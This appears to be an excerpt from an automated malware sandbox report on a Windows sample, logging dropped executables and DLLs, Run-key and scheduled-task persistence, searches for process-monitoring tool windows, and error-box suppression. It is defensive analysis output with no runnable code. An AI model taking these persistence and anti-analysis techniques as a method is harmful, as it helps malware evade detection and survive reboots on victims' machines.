Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	File created: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

File created: C:\ProgramData\freebl3.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\dll[1]			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba327bb7fd.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24adfe999c.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24adfe999c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24adfe999c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba327bb7fd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba327bb7fd.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Code function: 10_2_0014930D GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0014930D

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
